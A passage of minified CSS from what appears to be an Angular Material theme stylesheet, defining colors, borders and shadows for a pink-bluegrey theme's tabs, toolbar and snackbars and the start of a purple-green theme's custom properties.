.mat-step-icon-state-edit{background-color:#f44336;color:#fff}.pink-bluegrey-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.pink-bluegrey-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#fff}.pink-bluegrey-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.pink-bluegrey-theme .mat-stepper-horizontal,.pink-bluegrey-theme .mat-stepper-vertical{background-color:#424242}.pink-bluegrey-theme .mat-stepper-vertical-line:before{border-left-color:#ffffff1f}.pink-bluegrey-theme .mat-horizontal-stepper-header:before,.pink-bluegrey-theme .mat-horizontal-stepper-header:after,.pink-bluegrey-theme .mat-stepper-horizontal-line{border-top-color:#ffffff1f}.pink-bluegrey-theme .mat-sort-header-arrow{color:#c6c6c6}.pink-bluegrey-theme .mat-tab-nav-bar,.pink-bluegrey-theme .mat-tab-header{border-bottom:1px solid rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.pink-bluegrey-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(255,255,255,.12);border-bottom:none}.pink-bluegrey-theme .mat-tab-label,.pink-bluegrey-theme .mat-tab-link{color:#fff}.pink-bluegrey-theme .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-link.mat-tab-disabled{color:#ffffff80}.pink-bluegrey-theme .mat-tab-header-pagination-chevron{border-color:#fff}.pink-bluegrey-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#ffffff80}.pink-bluegrey-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#e91e634d}.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#c2185b}.pink-bluegrey-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#cfd8dc4d}.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#b0bec5}.pink-bluegrey-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#000000de}.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.pink-bluegrey-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#e91e634d}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#c2185b}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#cfd8dc4d}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#b0bec5}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#000000de}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#0006}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#000000de}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#000;opacity:.4}.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#000;opacity:.12}.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.pink-bluegrey-theme .mat-toolbar{background:#212121;color:#fff}.pink-bluegrey-theme .mat-toolbar.mat-primary{background:#c2185b;color:#fff}.pink-bluegrey-theme .mat-toolbar.mat-accent{background:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.pink-bluegrey-theme .mat-toolbar .mat-form-field-underline,.pink-bluegrey-theme .mat-toolbar .mat-form-field-ripple,.pink-bluegrey-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.pink-bluegrey-theme .mat-toolbar .mat-form-field-label,.pink-bluegrey-theme .mat-toolbar .mat-focused .mat-form-field-label,.pink-bluegrey-theme .mat-toolbar .mat-select-value,.pink-bluegrey-theme .mat-toolbar .mat-select-arrow,.pink-bluegrey-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.pink-bluegrey-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.pink-bluegrey-theme .mat-tooltip{background:rgba(97,97,97,.9)}.pink-bluegrey-theme .mat-tree{background:#424242}.pink-bluegrey-theme .mat-tree-node,.pink-bluegrey-theme .mat-nested-tree-node{color:#fff}.pink-bluegrey-theme .mat-snack-bar-container{color:#000000de;background:#fafafa;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.pink-bluegrey-theme .mat-simple-snackbar-action{color:inherit}.pink-bluegrey-theme a:link,.pink-bluegrey-theme a:visited{color:#cfd8dc;text-decoration:none}.pink-bluegrey-theme a:hover,.pink-bluegrey-theme a:focus,.pink-bluegrey-theme a:active{text-decoration:underline}.pink-bluegrey-theme a{outline:none}.pink-bluegrey-theme .confirmation{color:#b0bec5}.pink-bluegrey-theme .ribbon:before{border:5px solid #b0bec5}.pink-bluegrey-theme .ribbon span{background-color:#b0bec5}.pink-bluegrey-theme .error{color:#f44336}.pink-bluegrey-theme .ribbon-sold:before{border:5px solid #f44336}.pink-bluegrey-theme .ribbon-sold span{background-color:#f44336}.pink-bluegrey-theme .primary-notification{background-color:#880e4f}.pink-bluegrey-theme .accent-notification{background-color:#78909c}.pink-bluegrey-theme .warn-notification{background-color:#d32f2f}.pink-bluegrey-theme .img-thumbnail{background-color:#c2185b0d;border:1px solid #c2185b;border-radius:3px;padding:3px}.pink-bluegrey-theme .empty-star{stop-color:#c2185b}.pink-bluegrey-theme .filled-star{stop-color:#b0bec5}.pink-bluegrey-theme .star-border{stroke:#b0bec5}.pink-bluegrey-theme .mat-snack-bar-container{background-color:#424242!important;color:#fff!important}.pink-bluegrey-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.pink-bluegrey-theme .mat-snack-bar-container.confirmBar{color:#b0bec5!important}.pink-bluegrey-theme .google-button{background-color:#78909c!important}.pink-bluegrey-theme .deluxe-membership{background:linear-gradient(90deg,#c2185b 0%,#424242 100%)}.pink-bluegrey-theme .overlay{background:rgba(136,14,79,.7)}.purple-green-theme{--theme-primary: #7b1fa2;--theme-primary-lighter: #8f24bc;--theme-primary-light: #9c27cd;--theme-primary-darker: #671a88;--theme-primary-dark: #5a1777;--theme-primary-fade-10: rgba(123, 31, 162, .9);--theme-primary-fade-20: rgba(123, 31, 162, .8);--theme-primary-fade-30: rgba(123, 31, 162, .7);--theme-primary-fade-40: rgba(123, 31, 162, .6);--theme-primary-fade-50: rgba(123, 31, 162, .5);--theme-accent: #69f0ae;--theme-accent-lighter: #85f3bd;--theme-accent-light: #97f5c7;--theme-accent-darker: #4ded9f;--theme-accent-dark: #3beb95;--theme-accent-fade-10: rgba(105, 240, 174, .9);--theme-accent-fade-20: rgba(105, 240, 174, .8);--theme-accent-fade-30: rgba(105, 240, 174, .7);--theme-accent-fade-40: rgba(105, 240, 174, .6);--theme-accent-fade-50: rgba(105, 240, 174, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: white;--theme-text-lighter: white;--theme-text-light: white;--theme-text-darker: #e6e6e6;--theme-text-dark: #bfbfbf;--theme-text-fade-10: rgba(255, 255, 255, .9);--theme-text-fade-20: rgba(255, 255, 255, .8);--theme-text-fade-30: rgba(255, 255, 255, .7);--theme-text-fade-40: rgba(255, 255, 255, .6);--theme-text-fade-50: rgba(255, 255, 255, .5);--theme-text-invert-15: #d9d9d9;--theme-text-invert-30: #b3b3b3;--theme-background: #424242;--theme-background-lighter: #515151;--theme-background-light: #5c5c5c;--theme-background-darker: #333333;--theme-background-dark: #292929;--theme-background-darkest: #1e1e1e}.purple-green-theme .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-option{color:#fff}.purple-green-theme .mat-option:hover:not(.mat-option-disabled),.purple-green-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(255,255,255,.04)}.purple-green-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(255,255,255,.04)}.purple-green-theme .mat-option.mat-active{background:rgba(255,255,255,.04);color:#fff}.purple-green-theme .mat-option.mat-option-disabled{color:#ffffff80}.purple-green-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#7b1fa2}.purple-green-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#69f0ae}.purple-green-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.purple-green-theme .mat-optgroup-label{color:#ffffffb3}.purple-green-theme .mat-optgroup-disabled .mat-optgroup-label{color:#ffffff80}.purple-green-theme .mat-pseudo-checkbox{color:#ffffffb3}.purple-green-theme .mat-pseudo-checkbox:after{color:#303030}.purple-green-theme .mat-pseudo-checkbox-disabled{color:#686868}.purple-green-theme .mat-primary .mat-pseudo-checkbox-checked,.purple-green-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#7b1fa2}.purple-green-theme .mat-pseudo-checkbox-checked,.purple-green-theme .mat-pseudo-checkbox-indeterminate,.purple-green-theme .mat-accent .mat-pseudo-checkbox-checked,.purple-green-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#69f0ae}.purple-green-theme .mat-warn .mat-pseudo-checkbox-checked,.purple-green-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.purple-green-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.purple-green-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#686868}.purple-green-theme .mat-app-background,.purple-green-theme.mat-app-background{background-color:#303030;color:#fff}.purple-green-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.purple-green-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.purple-green-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.purple-green-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.purple-green-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.purple-green-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.purple-green-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.purple-green-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.purple-green-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.purple-green-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.purple-green-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.purple-green-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.purple-green-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.purple-green-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.purple-green-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.purple-green-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.purple-green-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.purple-green-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.purple-green-theme 